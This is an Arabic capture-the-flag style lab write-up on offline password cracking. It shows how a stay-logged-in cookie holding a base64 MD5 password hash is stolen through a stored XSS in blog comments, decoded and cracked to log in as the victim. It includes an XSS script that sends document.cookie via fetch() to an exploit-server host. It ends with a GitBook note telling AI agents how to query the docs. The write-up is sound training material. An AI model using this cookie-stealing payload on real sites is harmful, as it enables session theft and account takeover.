> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/ar/web/authentication/offline-password-cracking.md).

# كسر كلمات المرور دون اتصال

### كسر كلمات المرور دون اتصال

هذا المختبر يخزن **كلمة مرور pass في ملف تعريف ارتباط**. بالإضافة إلى ذلك، تحتوي ميزة التعليقات على **XSS** ثغرة أمنية. / الهدف: استرجاع **carlos** ملف تعريف الارتباط "stay-logged-in"، لكسر كلمة المرور الخاصة به دون اتصال، ثم تسجيل الدخول بصفته لحذف حسابه.

**بيانات الاعتماد المقدَّمة:**

* وينر : بيتر/ **الضحية :** carlos

<figure><img src="/files/5ebad86b62040c9efb317ff39c9dc66b64719767" alt=""><figcaption></figcaption></figure>

### 2. كيف يعمل الـ *stay-logged-in* ملف تعريف الارتباط

عندما يتم تحديد "البقاء مسجلاً للدخول"، يحتوي الطلب المرسل على:

```bash
username=wiener&password=peter&stay-logged-in=on
```

يُرجع الخادم بعد ذلك **stay-logged-in** ملف تعريف ارتباط مُرمَّز بـ **Base64**:

فك التشفير →

```bash
d2llbmVyOjUxZGMzMGRkYzQ3M2Q0M2E2MDExZTllYmJhNmNhNzcw
```

* wiener:51dc30ddc473d43a6011e9ebba6ca770

<figure><img src="/files/066a8b62e6a663b2b0ad414483a15b7893103051" alt=""><figcaption></figcaption></figure>

لذلك يُستخدم المخطط التالي:

<figure><img src="/files/3cad3f1062676d2f5b7dd5c7b204af2ddf8bbf13" alt=""><figcaption></figcaption></figure>

### 3. محاولة الكسر دون اتصال عبر Intruder

في Burp، يمكنك إنشاء حمولة باستخدام:

1. \*\*تحويل كلمة المرور MD5\*\*

<figure><img src="/files/04b1edb0e974ba43edcab1cd86fc73855ae62425" alt="" width="548"><figcaption></figcaption></figure>

* \*\*مع بادئة

<figure><img src="/files/801d145b0bcd1ed12a804f3d2ac433acb394c162" alt="" width="563"><figcaption></figcaption></figure>

1. **ترميز القيمة كاملةً بـ Base64**

<figure><img src="/files/02d31a4967027a4624c86b2f93432dffed458fa2" alt="" width="563"><figcaption></figcaption></figure>

ثم اختبار قاموس.

<figure><img src="/files/e0c465d19e945252ed2e5568cd4559e65f4ef0f3" alt=""><figcaption></figcaption></figure>

→ لا توجد نتائج حاسمة.

<figure><img src="/files/20ca8577d0f85e7c52827cd38f606f31c0d0deb0" alt=""><figcaption></figcaption></figure>

### 4. استغلال ثغرة XSS في التعليقات

حقل التعليق عرضة لحقن JavaScript:

```javascript
<script>
   alert(0)
</script>
```

<figure><img src="/files/97dec1ac3cc2f2b743fcc8ff2a9d2eb86ff570fa" alt=""><figcaption></figcaption></figure>

لذا يمكننا استخراج ملفات تعريف الارتباط عبر fetch:

```javascript
<script>
   fetch("https://exploit-0a180072041825ef80c502b6013c00ef.exploit-server.net/exploit?cookie=" + btoa(document.cookie));
</script>
```

<figure><img src="/files/ef9ac115787cbe5525adfa47b8168939769ffcd7" alt=""><figcaption></figcaption></figure>

يصل الطلب إلى exploit-server الخاص بنا.

<figure><img src="/files/163793f941ce7de6e0f988ac567642c9d9cc3570" alt=""><figcaption></figcaption></figure>

### 5. استعادة وفك ترميز ملف تعريف الارتباط الخاص بكارلوس

تم اعتراض ملف تعريف الارتباط (Base64):

```bash
c2VjcmV0PXY2UE5LWnJ3czNYSmFNVWtaU09wOWJRbGRCVUVlQnhLOyBzdGF5LWxvZ2dlZC1pbj1ZMkZ5Ykc5ek9qSTJNekl6WXpFMlpEVm1OR1JoWW1abU0ySmlNVE0yWmpJME5qQmhPVFF6
```

فك التشفير →

* carlos:26323c16d5f4dabff3bb136f2460a943

<figure><img src="/files/aa625d84e016a59245b6252fd6fc335a4a769dd6" alt=""><figcaption></figcaption></figure>

### 6. كسر كلمة المرور

بعد إرسال الهاش إلى CrackStation، يعرض:

### 7. الإنهاء

الاتصال مع:

<figure><img src="/files/e1648c9c5e2286651d9927338bb62c7ac668a935" alt=""><figcaption></figcaption></figure>

**كارلوس : onceuponatime**

<figure><img src="/files/e4f3237110b41c58f04628ebd8fa70429a6d5c52" alt=""><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/ar/web/authentication/offline-password-cracking.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
